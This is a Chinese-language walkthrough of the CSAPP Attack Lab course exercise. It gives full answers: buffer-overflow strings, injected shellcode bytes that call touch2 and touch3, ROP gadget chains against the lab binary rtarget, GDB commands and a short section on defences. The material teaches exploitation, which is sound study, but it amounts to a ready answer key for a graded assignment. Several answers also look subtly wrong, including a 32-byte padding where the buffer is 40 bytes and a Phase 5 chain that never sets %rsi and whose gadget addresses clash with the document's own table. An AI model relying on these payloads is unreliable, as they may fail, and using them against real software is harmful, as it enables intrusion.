CSAPP Attack Lab通关秘籍:手把手教你用GDB调试缓冲区溢出攻击(附完整答案)
CSAPP Attack Lab深度通关指南从GDB调试到ROP攻击实战1. 实验环境搭建与工具准备在开始Attack Lab之前我们需要配置合适的实验环境。推荐使用Ubuntu 18.04 LTS系统这是大多数CSAPP实验验证过的稳定环境。以下是详细的环境准备步骤实验包获取与解压wget http://csapp.cs.cmu.edu/3e/target1.tar tar -xvf target1.tar cd target1必要工具安装sudo apt update sudo apt install gcc gdb build-essential反汇编目标文件objdump -d ctarget ctarget.d objdump -d rtarget rtarget.d关键文件说明ctarget前三个阶段的攻击目标代码注入攻击rtarget后两个阶段的攻击目标ROP攻击cookie.txt包含你的专属4字节cookie值hex2raw将16进制格式的输入转换为原始攻击字符串2. 缓冲区溢出攻击原理剖析理解缓冲区溢出攻击的核心在于掌握程序栈的内存布局和函数调用机制。当函数调用时会发生以下关键操作调用栈的变化调用者将返回地址压栈被调用函数通过sub $0x28, %rsp等方式分配栈空间局部变量存储在分配的栈空间中关键寄存器作用%rsp栈指针寄存器始终指向栈顶%rip指令指针寄存器存储下一条要执行的指令地址%rdi第一个参数寄存器在调用touch2/touch3时特别重要攻击原理示意图内存地址正常情况内容攻击后内容0x5561dca0返回地址touch1地址......填充数据0x5561dc78局部变量注入代码3. Phase 1基础缓冲区溢出攻击第一阶段的目标是通过缓冲区溢出修改返回地址使程序跳转到touch1函数而非正常返回。以下是详细攻击步骤分析getbuf函数00000000004017a8 getbuf: 4017a8: 48 83 ec 28 sub $0x28,%rsp ; 分配40字节栈空间 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 Gets 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp ; 释放栈空间 4017bd: c3 retq构造攻击字符串前40字节任意填充数据通常用00后8字节touch1的地址0x4017c0注意小端序最终攻击方案00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00GDB验证技巧gdb ctarget break getbuf run -q (./hex2raw phase1.txt) x/20gx $rsp # 查看栈内容 stepi # 单步执行4. Phase 2注入恶意代码攻击第二阶段需要在缓冲区中注入机器指令将cookie值存入%rdi并调用touch2。这是代码注入攻击的典型示例。编写注入代码保存为inject.smov $0x59b997fa, %rdi # 替换为你的cookie值 pushq $0x4017ec # touch2地址 retq获取机器码gcc -c inject.s objdump -d inject.o输出示例48 c7 c7 fa 97 b9 59 # mov指令 68 ec 17 40 00 # pushq指令 c3 # retq指令确定注入代码位置 通过GDB调试发现输入内容从$rsp如0x5561dc78开始存储完整攻击方案48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 005. Phase 3字符串参数攻击第三阶段需要传递cookie字符串作为参数给touch3这要求我们将字符串存储在安全的内存位置。cookie字符串表示 cookie值0x59b997fa对应的ASCII码为35 39 62 39 39 37 66 61 # 59b997fa确定字符串存储位置 选择在返回地址之后存储字符串例如0x5561dca8攻击方案设计48 c7 c7 a8 dc 61 55 68 # mov $0x5561dca8,%rdi fa 18 40 00 c3 00 00 00 # pushq $0x4018fa; retq 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 # 返回地址指向注入代码 35 39 62 39 39 37 66 61 # 59b997fa 00 # 字符串终止符6. Phase 4ROP攻击基础第四阶段开始使用ROPReturn-Oriented Programming技术攻击rtarget。ROP利用程序中现有的代码片段gadgets构造攻击链。可用gadgets范围 从start_farm到end_farm之间的所有函数攻击目标 将cookie值存入%rdi并调用touch2关键gadgets查找# 查找pop %rax grep -A1 5[8-9a-f] c3 rtarget.d # 查找mov %rax,%rdi grep -A1 48 89 c7 c3 rtarget.dROP链构造00 00 00 00 00 00 00 00 ... (32字节填充) ab 19 40 00 00 00 00 00 # pop %rax; ret fa 97 b9 59 00 00 00 00 # cookie值 a2 19 40 00 00 00 00 00 # mov %rax,%rdi; ret ec 17 40 00 00 00 00 00 # touch2地址7. Phase 5高级ROP攻击第五阶段是ROP攻击的进阶应用需要处理栈随机化问题将字符串地址动态计算出来。解决方案设计获取当前栈指针值计算字符串与栈指针的固定偏移使用add_xy函数计算字符串地址将结果传递给%rdigadgets查找表功能机器码地址mov %rsp,%rax48 89 e00x401aabmov %rax,%rdi48 89 c70x4019a2pop %rax580x4019ccmov %eax,%edx89 c20x4019ddadd_xy48 8d 04 370x4019d6完整ROP链00 00 00 00 00 00 00 00 ... (32字节填充) ad 1a 40 00 00 00 00 00 # mov %rsp,%rax; ret a2 19 40 00 00 00 00 00 # mov %rax,%rdi; ret cc 19 40 00 00 00 00 00 # pop %rax; ret 48 00 00 00 00 00 00 00 # 偏移量0x48 dd 19 40 00 00 00 00 00 # mov %eax,%edx; ret a2 19 40 00 00 00 00 00 # mov %rax,%rdi; ret d6 19 40 00 00 00 00 00 # add_xy a2 19 40 00 00 00 00 00 # mov %rax,%rdi; ret fa 18 40 00 00 00 00 00 # touch3 35 39 62 39 39 37 66 61 # 59b997fa8. 调试技巧与常见问题解决GDB实用命令layout asm # 显示汇编代码窗口 layout regs # 显示寄存器窗口 x/20gx $rsp # 以16进制查看栈内存 stepi # 单步执行汇编指令 info frame # 查看当前栈帧信息常见错误排查段错误(Segmentation Fault)检查跳转地址是否有效注入代码未执行确认返回地址是否正确指向注入代码ROP链断裂检查每个gadget的地址和预期行为自动化测试脚本#!/bin/bash for i in {1..5}; do echo Testing phase$i... ./hex2raw phase$i.txt | ./rtarget -q done9. 安全防护与实验启示通过Attack Lab我们不仅学习了攻击技术也理解了现代系统防护机制的重要性防护技术对比防护技术防护原理实验对应阶段栈随机化随机化栈基址Phase 5需动态计算地址不可执行栈标记栈为不可执行ROP攻击应对栈保护符检测栈破坏实验环境已禁用安全编程建议使用安全的字符串处理函数如fgets替代gets启用编译器的安全选项-fstack-protector对用户输入进行严格边界检查扩展思考如何防御ROP攻击CFI控制流完整性现代系统还采用了哪些防护机制ASLR、DEP等如何在实际漏洞利用中组合多种攻击技术